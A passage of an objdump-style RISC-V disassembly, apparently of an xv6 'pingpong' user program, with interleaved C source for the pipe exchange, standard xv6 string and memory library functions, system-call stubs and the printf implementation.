18: 36a080e7 jalr 874(ra) # 37e <pipe>
pipe(t);
1c: fe040513 addi a0,s0,-32
20: 00000097 auipc ra,0x0
24: 35e080e7 jalr 862(ra) # 37e <pipe>
if (fork() == 0)
28: 00000097 auipc ra,0x0
2c: 33e080e7 jalr 830(ra) # 366 <fork>
30: ed31 bnez a0,8c <main+0x8c>
{
printf("%d: received ping\n", getpid());
32: 00000097 auipc ra,0x0
36: 3bc080e7 jalr 956(ra) # 3ee <getpid>
3a: 85aa mv a1,a0
3c: 00001517 auipc a0,0x1
40: 84c50513 addi a0,a0,-1972 # 888 <malloc+0xe4>
44: 00000097 auipc ra,0x0
48: 6a2080e7 jalr 1698(ra) # 6e6 <printf>
close(p[1]);
4c: fec42503 lw a0,-20(s0)
50: 00000097 auipc ra,0x0
54: 346080e7 jalr 838(ra) # 396 <close>
close(t[0]);
58: fe042503 lw a0,-32(s0)
5c: 00000097 auipc ra,0x0
60: 33a080e7 jalr 826(ra) # 396 <close>
write(t[1], sw, 1);
64: 4605 li a2,1
66: fd840593 addi a1,s0,-40
6a: fe442503 lw a0,-28(s0)
6e: 00000097 auipc ra,0x0
72: 320080e7 jalr 800(ra) # 38e <write>
close(t[1]);
76: fe442503 lw a0,-28(s0)
7a: 00000097 auipc ra,0x0
7e: 31c080e7 jalr 796(ra) # 396 <close>
exit(0);
82: 4501 li a0,0
84: 00000097 auipc ra,0x0
88: 2ea080e7 jalr 746(ra) # 36e <exit>
}
else
{
close(p[0]);
8c: fe842503 lw a0,-24(s0)
90: 00000097 auipc ra,0x0
94: 306080e7 jalr 774(ra) # 396 <close>
close(t[1]);
98: fe442503 lw a0,-28(s0)
9c: 00000097 auipc ra,0x0
a0: 2fa080e7 jalr 762(ra) # 396 <close>
write(p[1], sw, 1);
a4: 4605 li a2,1
a6: fd840593 addi a1,s0,-40
aa: fec42503 lw a0,-20(s0)
ae: 00000097 auipc ra,0x0
b2: 2e0080e7 jalr 736(ra) # 38e <write>
close(p[1]);
b6: fec42503 lw a0,-20(s0)
ba: 00000097 auipc ra,0x0
be: 2dc080e7 jalr 732(ra) # 396 <close>
read(t[0], sw, 1);
c2: 4605 li a2,1
c4: fd840593 addi a1,s0,-40
c8: fe042503 lw a0,-32(s0)
cc: 00000097 auipc ra,0x0
d0: 2ba080e7 jalr 698(ra) # 386 <read>
printf("%d: received pong\n", getpid());
d4: 00000097 auipc ra,0x0
d8: 31a080e7 jalr 794(ra) # 3ee <getpid>
dc: 85aa mv a1,a0
de: 00000517 auipc a0,0x0
e2: 7c250513 addi a0,a0,1986 # 8a0 <malloc+0xfc>
e6: 00000097 auipc ra,0x0
ea: 600080e7 jalr 1536(ra) # 6e6 <printf>
exit(0);
ee: 4501 li a0,0
f0: 00000097 auipc ra,0x0
f4: 27e080e7 jalr 638(ra) # 36e <exit>
00000000000000f8 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
f8: 1141 addi sp,sp,-16
fa: e422 sd s0,8(sp)
fc: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
fe: 87aa mv a5,a0
100: 0585 addi a1,a1,1
102: 0785 addi a5,a5,1
104: fff5c703 lbu a4,-1(a1)
108: fee78fa3 sb a4,-1(a5)
10c: fb75 bnez a4,100 <strcpy+0x8>
;
return os;
}
10e: 6422 ld s0,8(sp)
110: 0141 addi sp,sp,16
112: 8082 ret
0000000000000114 <strcmp>:
int
strcmp(const char *p, const char *q)
{
114: 1141 addi sp,sp,-16
116: e422 sd s0,8(sp)
118: 0800 addi s0,sp,16
while(*p && *p == *q)
11a: 00054783 lbu a5,0(a0)
11e: cb91 beqz a5,132 <strcmp+0x1e>
120: 0005c703 lbu a4,0(a1)
124: 00f71763 bne a4,a5,132 <strcmp+0x1e>
p++, q++;
128: 0505 addi a0,a0,1
12a: 0585 addi a1,a1,1
while(*p && *p == *q)
12c: 00054783 lbu a5,0(a0)
130: fbe5 bnez a5,120 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
132: 0005c503 lbu a0,0(a1)
}
136: 40a7853b subw a0,a5,a0
13a: 6422 ld s0,8(sp)
13c: 0141 addi sp,sp,16
13e: 8082 ret
0000000000000140 <strlen>:
uint
strlen(const char *s)
{
140: 1141 addi sp,sp,-16
142: e422 sd s0,8(sp)
144: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
146: 00054783 lbu a5,0(a0)
14a: cf91 beqz a5,166 <strlen+0x26>
14c: 0505 addi a0,a0,1
14e: 87aa mv a5,a0
150: 4685 li a3,1
152: 9e89 subw a3,a3,a0
154: 00f6853b addw a0,a3,a5
158: 0785 addi a5,a5,1
15a: fff7c703 lbu a4,-1(a5)
15e: fb7d bnez a4,154 <strlen+0x14>
;
return n;
}
160: 6422 ld s0,8(sp)
162: 0141 addi sp,sp,16
164: 8082 ret
for(n = 0; s[n]; n++)
166: 4501 li a0,0
168: bfe5 j 160 <strlen+0x20>
000000000000016a <memset>:
void*
memset(void *dst, int c, uint n)
{
16a: 1141 addi sp,sp,-16
16c: e422 sd s0,8(sp)
16e: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
170: ce09 beqz a2,18a <memset+0x20>
172: 87aa mv a5,a0
174: fff6071b addiw a4,a2,-1
178: 1702 slli a4,a4,0x20
17a: 9301 srli a4,a4,0x20
17c: 0705 addi a4,a4,1
17e: 972a add a4,a4,a0
cdst[i] = c;
180: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
184: 0785 addi a5,a5,1
186: fee79de3 bne a5,a4,180 <memset+0x16>
}
return dst;
}
18a: 6422 ld s0,8(sp)
18c: 0141 addi sp,sp,16
18e: 8082 ret
0000000000000190 <strchr>:
char*
strchr(const char *s, char c)
{
190: 1141 addi sp,sp,-16
192: e422 sd s0,8(sp)
194: 0800 addi s0,sp,16
for(; *s; s++)
196: 00054783 lbu a5,0(a0)
19a: cb99 beqz a5,1b0 <strchr+0x20>
if(*s == c)
19c: 00f58763 beq a1,a5,1aa <strchr+0x1a>
for(; *s; s++)
1a0: 0505 addi a0,a0,1
1a2: 00054783 lbu a5,0(a0)
1a6: fbfd bnez a5,19c <strchr+0xc>
return (char*)s;
return 0;
1a8: 4501 li a0,0
}
1aa: 6422 ld s0,8(sp)
1ac: 0141 addi sp,sp,16
1ae: 8082 ret
return 0;
1b0: 4501 li a0,0
1b2: bfe5 j 1aa <strchr+0x1a>
00000000000001b4 <gets>:
char*
gets(char *buf, int max)
{
1b4: 711d addi sp,sp,-96
1b6: ec86 sd ra,88(sp)
1b8: e8a2 sd s0,80(sp)
1ba: e4a6 sd s1,72(sp)
1bc: e0ca sd s2,64(sp)
1be: fc4e sd s3,56(sp)
1c0: f852 sd s4,48(sp)
1c2: f456 sd s5,40(sp)
1c4: f05a sd s6,32(sp)
1c6: ec5e sd s7,24(sp)
1c8: 1080 addi s0,sp,96
1ca: 8baa mv s7,a0
1cc: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ce: 892a mv s2,a0
1d0: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
1d2: 4aa9 li s5,10
1d4: 4b35 li s6,13
for(i=0; i+1 < max; ){
1d6: 89a6 mv s3,s1
1d8: 2485 addiw s1,s1,1
1da: 0344d863 bge s1,s4,20a <gets+0x56>
cc = read(0, &c, 1);
1de: 4605 li a2,1
1e0: faf40593 addi a1,s0,-81
1e4: 4501 li a0,0
1e6: 00000097 auipc ra,0x0
1ea: 1a0080e7 jalr 416(ra) # 386 <read>
if(cc < 1)
1ee: 00a05e63 blez a0,20a <gets+0x56>
buf[i++] = c;
1f2: faf44783 lbu a5,-81(s0)
1f6: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
1fa: 01578763 beq a5,s5,208 <gets+0x54>
1fe: 0905 addi s2,s2,1
200: fd679be3 bne a5,s6,1d6 <gets+0x22>
for(i=0; i+1 < max; ){
204: 89a6 mv s3,s1
206: a011 j 20a <gets+0x56>
208: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
20a: 99de add s3,s3,s7
20c: 00098023 sb zero,0(s3)
return buf;
}
210: 855e mv a0,s7
212: 60e6 ld ra,88(sp)
214: 6446 ld s0,80(sp)
216: 64a6 ld s1,72(sp)
218: 6906 ld s2,64(sp)
21a: 79e2 ld s3,56(sp)
21c: 7a42 ld s4,48(sp)
21e: 7aa2 ld s5,40(sp)
220: 7b02 ld s6,32(sp)
222: 6be2 ld s7,24(sp)
224: 6125 addi sp,sp,96
226: 8082 ret
0000000000000228 <stat>:
int
stat(const char *n, struct stat *st)
{
228: 1101 addi sp,sp,-32
22a: ec06 sd ra,24(sp)
22c: e822 sd s0,16(sp)
22e: e426 sd s1,8(sp)
230: e04a sd s2,0(sp)
232: 1000 addi s0,sp,32
234: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
236: 4581 li a1,0
238: 00000097 auipc ra,0x0
23c: 176080e7 jalr 374(ra) # 3ae <open>
if(fd < 0)
240: 02054563 bltz a0,26a <stat+0x42>
244: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
246: 85ca mv a1,s2
248: 00000097 auipc ra,0x0
24c: 17e080e7 jalr 382(ra) # 3c6 <fstat>
250: 892a mv s2,a0
close(fd);
252: 8526 mv a0,s1
254: 00000097 auipc ra,0x0
258: 142080e7 jalr 322(ra) # 396 <close>
return r;
}
25c: 854a mv a0,s2
25e: 60e2 ld ra,24(sp)
260: 6442 ld s0,16(sp)
262: 64a2 ld s1,8(sp)
264: 6902 ld s2,0(sp)
266: 6105 addi sp,sp,32
268: 8082 ret
return -1;
26a: 597d li s2,-1
26c: bfc5 j 25c <stat+0x34>
000000000000026e <atoi>:
int
atoi(const char *s)
{
26e: 1141 addi sp,sp,-16
270: e422 sd s0,8(sp)
272: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
274: 00054603 lbu a2,0(a0)
278: fd06079b addiw a5,a2,-48
27c: 0ff7f793 andi a5,a5,255
280: 4725 li a4,9
282: 02f76963 bltu a4,a5,2b4 <atoi+0x46>
286: 86aa mv a3,a0
n = 0;
288: 4501 li a0,0
while('0' <= *s && *s <= '9')
28a: 45a5 li a1,9
n = n*10 + *s++ - '0';
28c: 0685 addi a3,a3,1
28e: 0025179b slliw a5,a0,0x2
292: 9fa9 addw a5,a5,a0
294: 0017979b slliw a5,a5,0x1
298: 9fb1 addw a5,a5,a2
29a: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
29e: 0006c603 lbu a2,0(a3)
2a2: fd06071b addiw a4,a2,-48
2a6: 0ff77713 andi a4,a4,255
2aa: fee5f1e3 bgeu a1,a4,28c <atoi+0x1e>
return n;
}
2ae: 6422 ld s0,8(sp)
2b0: 0141 addi sp,sp,16
2b2: 8082 ret
n = 0;
2b4: 4501 li a0,0
2b6: bfe5 j 2ae <atoi+0x40>
00000000000002b8 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2b8: 1141 addi sp,sp,-16
2ba: e422 sd s0,8(sp)
2bc: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
2be: 02b57663 bgeu a0,a1,2ea <memmove+0x32>
while(n-- > 0)
2c2: 02c05163 blez a2,2e4 <memmove+0x2c>
2c6: fff6079b addiw a5,a2,-1
2ca: 1782 slli a5,a5,0x20
2cc: 9381 srli a5,a5,0x20
2ce: 0785 addi a5,a5,1
2d0: 97aa add a5,a5,a0
dst = vdst;
2d2: 872a mv a4,a0
*dst++ = *src++;
2d4: 0585 addi a1,a1,1
2d6: 0705 addi a4,a4,1
2d8: fff5c683 lbu a3,-1(a1)
2dc: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
2e0: fee79ae3 bne a5,a4,2d4 <memmove+0x1c>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
2e4: 6422 ld s0,8(sp)
2e6: 0141 addi sp,sp,16
2e8: 8082 ret
dst += n;
2ea: 00c50733 add a4,a0,a2
src += n;
2ee: 95b2 add a1,a1,a2
while(n-- > 0)
2f0: fec05ae3 blez a2,2e4 <memmove+0x2c>
2f4: fff6079b addiw a5,a2,-1
2f8: 1782 slli a5,a5,0x20
2fa: 9381 srli a5,a5,0x20
2fc: fff7c793 not a5,a5
300: 97ba add a5,a5,a4
*--dst = *--src;
302: 15fd addi a1,a1,-1
304: 177d addi a4,a4,-1
306: 0005c683 lbu a3,0(a1)
30a: 00d70023 sb a3,0(a4)
while(n-- > 0)
30e: fee79ae3 bne a5,a4,302 <memmove+0x4a>
312: bfc9 j 2e4 <memmove+0x2c>
0000000000000314 <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
314: 1141 addi sp,sp,-16
316: e422 sd s0,8(sp)
318: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
31a: ca05 beqz a2,34a <memcmp+0x36>
31c: fff6069b addiw a3,a2,-1
320: 1682 slli a3,a3,0x20
322: 9281 srli a3,a3,0x20
324: 0685 addi a3,a3,1
326: 96aa add a3,a3,a0
if (*p1 != *p2) {
328: 00054783 lbu a5,0(a0)
32c: 0005c703 lbu a4,0(a1)
330: 00e79863 bne a5,a4,340 <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
334: 0505 addi a0,a0,1
p2++;
336: 0585 addi a1,a1,1
while (n-- > 0) {
338: fed518e3 bne a0,a3,328 <memcmp+0x14>
}
return 0;
33c: 4501 li a0,0
33e: a019 j 344 <memcmp+0x30>
return *p1 - *p2;
340: 40e7853b subw a0,a5,a4
}
344: 6422 ld s0,8(sp)
346: 0141 addi sp,sp,16
348: 8082 ret
return 0;
34a: 4501 li a0,0
34c: bfe5 j 344 <memcmp+0x30>
000000000000034e <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
34e: 1141 addi sp,sp,-16
350: e406 sd ra,8(sp)
352: e022 sd s0,0(sp)
354: 0800 addi s0,sp,16
return memmove(dst, src, n);
356: 00000097 auipc ra,0x0
35a: f62080e7 jalr -158(ra) # 2b8 <memmove>
}
35e: 60a2 ld ra,8(sp)
360: 6402 ld s0,0(sp)
362: 0141 addi sp,sp,16
364: 8082 ret
0000000000000366 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
366: 4885 li a7,1
ecall
368: 00000073 ecall
ret
36c: 8082 ret
000000000000036e <exit>:
.global exit
exit:
li a7, SYS_exit
36e: 4889 li a7,2
ecall
370: 00000073 ecall
ret
374: 8082 ret
0000000000000376 <wait>:
.global wait
wait:
li a7, SYS_wait
376: 488d li a7,3
ecall
378: 00000073 ecall
ret
37c: 8082 ret
000000000000037e <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
37e: 4891 li a7,4
ecall
380: 00000073 ecall
ret
384: 8082 ret
0000000000000386 <read>:
.global read
read:
li a7, SYS_read
386: 4895 li a7,5
ecall
388: 00000073 ecall
ret
38c: 8082 ret
000000000000038e <write>:
.global write
write:
li a7, SYS_write
38e: 48c1 li a7,16
ecall
390: 00000073 ecall
ret
394: 8082 ret
0000000000000396 <close>:
.global close
close:
li a7, SYS_close
396: 48d5 li a7,21
ecall
398: 00000073 ecall
ret
39c: 8082 ret
000000000000039e <kill>:
.global kill
kill:
li a7, SYS_kill
39e: 4899 li a7,6
ecall
3a0: 00000073 ecall
ret
3a4: 8082 ret
00000000000003a6 <exec>:
.global exec
exec:
li a7, SYS_exec
3a6: 489d li a7,7
ecall
3a8: 00000073 ecall
ret
3ac: 8082 ret
00000000000003ae <open>:
.global open
open:
li a7, SYS_open
3ae: 48bd li a7,15
ecall
3b0: 00000073 ecall
ret
3b4: 8082 ret
00000000000003b6 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
3b6: 48c5 li a7,17
ecall
3b8: 00000073 ecall
ret
3bc: 8082 ret
00000000000003be <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
3be: 48c9 li a7,18
ecall
3c0: 00000073 ecall
ret
3c4: 8082 ret
00000000000003c6 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
3c6: 48a1 li a7,8
ecall
3c8: 00000073 ecall
ret
3cc: 8082 ret
00000000000003ce <link>:
.global link
link:
li a7, SYS_link
3ce: 48cd li a7,19
ecall
3d0: 00000073 ecall
ret
3d4: 8082 ret
00000000000003d6 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
3d6: 48d1 li a7,20
ecall
3d8: 00000073 ecall
ret
3dc: 8082 ret
00000000000003de <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
3de: 48a5 li a7,9
ecall
3e0: 00000073 ecall
ret
3e4: 8082 ret
00000000000003e6 <dup>:
.global dup
dup:
li a7, SYS_dup
3e6: 48a9 li a7,10
ecall
3e8: 00000073 ecall
ret
3ec: 8082 ret
00000000000003ee <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
3ee: 48ad li a7,11
ecall
3f0: 00000073 ecall
ret
3f4: 8082 ret
00000000000003f6 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
3f6: 48b1 li a7,12
ecall
3f8: 00000073 ecall
ret
3fc: 8082 ret
00000000000003fe <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
3fe: 48b5 li a7,13
ecall
400: 00000073 ecall
ret
404: 8082 ret
0000000000000406 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
406: 48b9 li a7,14
ecall
408: 00000073 ecall
ret
40c: 8082 ret
000000000000040e <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
40e: 1101 addi sp,sp,-32
410: ec06 sd ra,24(sp)
412: e822 sd s0,16(sp)
414: 1000 addi s0,sp,32
416: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
41a: 4605 li a2,1
41c: fef40593 addi a1,s0,-17
420: 00000097 auipc ra,0x0
424: f6e080e7 jalr -146(ra) # 38e <write>
}
428: 60e2 ld ra,24(sp)
42a: 6442 ld s0,16(sp)
42c: 6105 addi sp,sp,32
42e: 8082 ret
0000000000000430 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
430: 7139 addi sp,sp,-64
432: fc06 sd ra,56(sp)
434: f822 sd s0,48(sp)
436: f426 sd s1,40(sp)
438: f04a sd s2,32(sp)
43a: ec4e sd s3,24(sp)
43c: 0080 addi s0,sp,64
43e: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
440: c299 beqz a3,446 <printint+0x16>
442: 0805c863 bltz a1,4d2 <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
446: 2581 sext.w a1,a1
neg = 0;
448: 4881 li a7,0
44a: fc040693 addi a3,s0,-64
}
i = 0;
44e: 4701 li a4,0
do{
buf[i++] = digits[x % base];
450: 2601 sext.w a2,a2
452: 00000517 auipc a0,0x0
456: 46e50513 addi a0,a0,1134 # 8c0 <digits>
45a: 883a mv a6,a4
45c: 2705 addiw a4,a4,1
45e: 02c5f7bb remuw a5,a1,a2
462: 1782 slli a5,a5,0x20
464: 9381 srli a5,a5,0x20
466: 97aa add a5,a5,a0
468: 0007c783 lbu a5,0(a5)
46c: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
470: 0005879b sext.w a5,a1
474: 02c5d5bb divuw a1,a1,a2
478: 0685 addi a3,a3,1
47a: fec7f0e3 bgeu a5,a2,45a <printint+0x2a>
if(neg)
47e: 00088b63 beqz a7,494 <printint+0x64>
buf[i++] = '-';
482: fd040793 addi a5,s0,-48
486: 973e add a4,a4,a5
488: 02d00793 li a5,45
48c: fef70823 sb a5,-16(a4)
490: 0028071b addiw a4,a6,2
while(--i >= 0)
494: 02e05863 blez a4,4c4 <printint+0x94>
498: fc040793 addi a5,s0,-64
49c: 00e78933 add s2,a5,a4
4a0: fff78993 addi s3,a5,-1
4a4: 99ba add s3,s3,a4
4a6: 377d addiw a4,a4,-1
4a8: 1702 slli a4,a4,0x20
4aa: 9301 srli a4,a4,0x20
4ac: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
4b0: fff94583 lbu a1,-1(s2)
4b4: 8526 mv a0,s1
4b6: 00000097 auipc ra,0x0
4ba: f58080e7 jalr -168(ra) # 40e <putc>
while(--i >= 0)
4be: 197d addi s2,s2,-1
4c0: ff3918e3 bne s2,s3,4b0 <printint+0x80>
}
4c4: 70e2 ld ra,56(sp)
4c6: 7442 ld s0,48(sp)
4c8: 74a2 ld s1,40(sp)
4ca: 7902 ld s2,32(sp)
4cc: 69e2 ld s3,24(sp)
4ce: 6121 addi sp,sp,64
4d0: 8082 ret
x = -xx;
4d2: 40b005bb negw a1,a1
neg = 1;
4d6: 4885 li a7,1
x = -xx;
4d8: bf8d j 44a <printint+0x1a>
00000000000004da <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
4da: 7119 addi sp,sp,-128
4dc: fc86 sd ra,120(sp)
4de: f8a2 sd s0,112(sp)
4e0: f4a6 sd s1,104(sp)
4e2: f0ca sd s2,96(sp)
4e4: ecce sd s3,88(sp)
4e6: e8d2 sd s4,80(sp)
4e8: e4d6 sd s5,72(sp)
4ea: e0da sd s6,64(sp)
4ec: fc5e sd s7,56(sp)
4ee: f862 sd s8,48(sp)
4f0: f466 sd s9,40(sp)
4f2: f06a sd s10,32(sp)
4f4: ec6e sd s11,24(sp)
4f6: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
4f8: 0005c903 lbu s2,0(a1)
4fc: 18090f63 beqz s2,69a <vprintf+0x1c0>
500: 8aaa mv s5,a0
502: 8b32 mv s6,a2
504: 00158493 addi s1,a1,1
state = 0;
508: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
50a: 02500a13 li s4,37
if(c == 'd'){
50e: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
512: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
516: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
51a: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
51e: 00000b97 auipc s7,0x0
522: 3a2b8b93 addi s7,s7,930 # 8c0 <digits>
526: a839 j 544 <vprintf+0x6a>
putc(fd, c);
528: 85ca mv a1,s2
52a: 8556 mv a0,s5
52c: 00000097 auipc ra,0x0
530: ee2080e7 jalr -286(ra) # 40e <putc>
534: a019 j 53a <vprintf+0x60>
} else if(state == '%'){
536: 01498f63 beq s3,s4,554 <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
53a: 0485 addi s1,s1,1
53c: fff4c903 lbu s2,-1(s1)
540: 14090d63 beqz s2,69a <vprintf+0x1c0>
c = fmt[i] & 0xff;
544: 0009079b sext.w a5,s2
if(state == 0){
548: fe0997e3 bnez s3,536 <vprintf+0x5c>
if(c == '%'){
54c: fd479ee3 bne a5,s4,528 <vprintf+0x4e>
state = '%';
550: 89be mv s3,a5
552: b7e5 j 53a <vprintf+0x60>
if(c == 'd'){
554: 05878063 beq a5,s8,594 <vprintf+0xba>
} else if(c == 'l') {
558: 05978c63 beq a5,s9,5b0 <vprintf+0xd6>
} else if(c == 'x') {
55c: 07a78863 beq a5,s10,5cc <vprintf+0xf2>
} else if(c == 'p') {
560: 09b78463 beq a5,s11,5e8 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
564: 07300713 li a4,115
568: 0ce78663 beq a5,a4,634 <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
56c: 06300713 li a4,99
570: 0ee78e63 beq a5,a4,66c <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
574: 11478863 beq a5,s4,684 <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
578: 85d2 mv a1,s4
57a: 8556 mv a0,s5
57c: 00000097 auipc ra,0x0
580: e92080e7 jalr -366(ra) # 40e <putc>
putc(fd, c);
584: 85ca mv a1,s2
586: 8556 mv a0,s5
588: 00000097 auipc ra,0x0
58c: e86080e7 jalr -378(ra) # 40e <putc>
}
state = 0;
590: 4981 li s3,0
592: b765 j 53a <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
594: 008b0913 addi s2,s6,8
598: 4685 li a3,1
59a: 4629 li a2,10
59c: 000b2583 lw a1,0(s6)
5a0: 8556 mv a0,s5
5a2: 00000097 auipc ra,0x0
5a6: e8e080e7 jalr -370(ra) # 430 <printint>
5aa: 8b4a mv s6,s2
state = 0;
5ac: 4981 li s3,0
5ae: b771 j 53a <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
5b0: 008b0913 addi s2,s6,8
5b4: 4681 li a3,0
5b6: 4629 li a2,10
5b8: 000b2583 lw a1,0(s6)
5bc: 8556 mv a0,s5
5be: 00000097 auipc ra,0x0
5c2: e72080e7 jalr -398(ra) # 430 <printint>
5c6: 8b4a mv s6,s2
state = 0;
5c8: 4981 li s3,0
5ca: bf85 j 53a <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
5cc: 008b0913 addi s2,s6,8
5d0: 4681 li a3,0
5d2: 4641 li a2,16
5d4: 000b2583 lw a1,0(s6)
5d8: 8556 mv a0,s5
5da: 00000097 auipc ra,0x0
5de: e56080e7 jalr -426(ra) # 430 <printint>
5e2: 8b4a mv s6,s2
state = 0;
5e4: 4981 li s3,0
5e6: bf91 j 53a <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
5e8: 008b0793 addi a5,s6,8
5ec: f8f43423 sd a5,-120(s0)
5f0: 000b3983 ld s3,0(s6)
putc(fd, '0');
5f4: 03000593 li a1,48
5f8: 8556 mv a0,s5
5fa: 00000097 auipc ra,0x0
5fe: e14080e7 jalr -492(ra) # 40e <putc>
putc(fd, 'x');
602: 85ea mv a1,s10
604: 8556 mv a0,s5
606: 00000097 auipc ra,0x0
60a: e08080e7 jalr -504(ra) # 40e <putc>
60e: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
610: 03c9d793 srli a5,s3,0x3c
614: 97de add a5,a5,s7
616: 0007c583 lbu a1,0(a5)
61a: 8556 mv a0,s5
61c: 00000097 auipc ra,0x0
620: df2080e7 jalr -526(ra) # 40e <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
624: 0992 slli s3,s3,0x4
626: 397d addiw s2,s2,-1
628: fe0914e3 bnez s2,610 <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
62c: f8843b03 ld s6,-120(s0)
state = 0;
630: 4981 li s3,0
632: b721 j 53a <vprintf+0x60>
s = va_arg(ap, char*);
634: 008b0993 addi s3,s6,8
638: 000b3903 ld s2,0(s6)
if(s == 0)
63c: 02090163 beqz s2,65e <vprintf+0x184>
while(*s != 0){
640: 00094583 lbu a1,0(s2)
644: c9a1 beqz a1,694 <vprintf+0x1ba>
putc(fd, *s);
646: 8556 mv a0,s5
648: 00000097 auipc ra,0x0
64c: dc6080e7 jalr -570(ra) # 40e <putc>
s++;
650: 0905 addi s2,s2,1
while(*s != 0){
652: 00094583 lbu a1,0(s2)
656: f9e5 bnez a1,646 <vprintf+0x16c>
s = va_arg(ap, char*);
658: 8b4e mv s6,s3
state = 0;
65a: 4981 li s3,0
65c: bdf9 j 53a <vprintf+0x60>
s = "(null)";
65e: 00000917 auipc s2,0x0
662: 25a90913 addi s2,s2,602 # 8b8 <malloc+0x114>
while(*s != 0){
666: 02800593 li a1,40
66a: bff1 j 646 <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
66c: 008b0913 addi s2,s6,8
670: 000b4583 lbu a1,0(s6)
674: 8556 mv a0,s5
676: 00000097 auipc ra,0x0
67a: d98080e7 jalr -616(ra) # 40e <putc>
67e: 8b4a mv s6,s2
state = 0;
680: 4981 li s3,0
682: bd65 j 53a <vprintf+0x60>
putc(fd, c);
684: 85d2 mv a1,s4
686: 8556 mv a0,s5
688: 00000097 auipc ra,0x0
68c: d86080e7 jalr -634(ra) # 40e <putc>
state = 0;
690: 4981 li s3,0
692: b565 j 53a <vprintf+0x60>
s = va_arg(ap, char*);
694: 8b4e mv s6,s3
state = 0;
696: 4981 li s3,0
698: b54d j 53a <vprintf+0x60>
}
}
}
69a: 70e6 ld ra,120(sp)
69c: 7446 ld s0,112(sp)
69e: 74a6 ld s1,104(sp)
6a0: 7906 ld s2,96(sp)
6a2: 69e6 ld s3,88(sp)
6a4: 6a46 ld s4,80(sp)
6a6: 6aa6 ld s5,72(sp)
6a8: 6b06 ld s6,64(sp)
6aa: 7be2 ld s7,56(sp)
6ac: 7c42 ld s8,48(sp)
6ae: 7ca2 ld s9,40(sp)
6b0: 7d02 ld s10,32(sp)
6b2: 6de2 ld s11,24(sp)
6b4: 6109 addi sp,sp,128
6b6: 8082 ret
00000000000006b8 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
6b8: 715d addi sp,sp,-80
6ba: ec06 sd ra,24(sp)
6bc: e822 sd s0,16(sp)
6be: 1000 addi s0,sp,32
6c0: e010 sd a2,0(s0)
6c2: e414 sd a3,8(s0)
6c4: e818 sd a4,16(s0)
6c6: ec1c sd a5,24(s0)
6c8: 03043023 sd a6,32(s0)
6cc: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
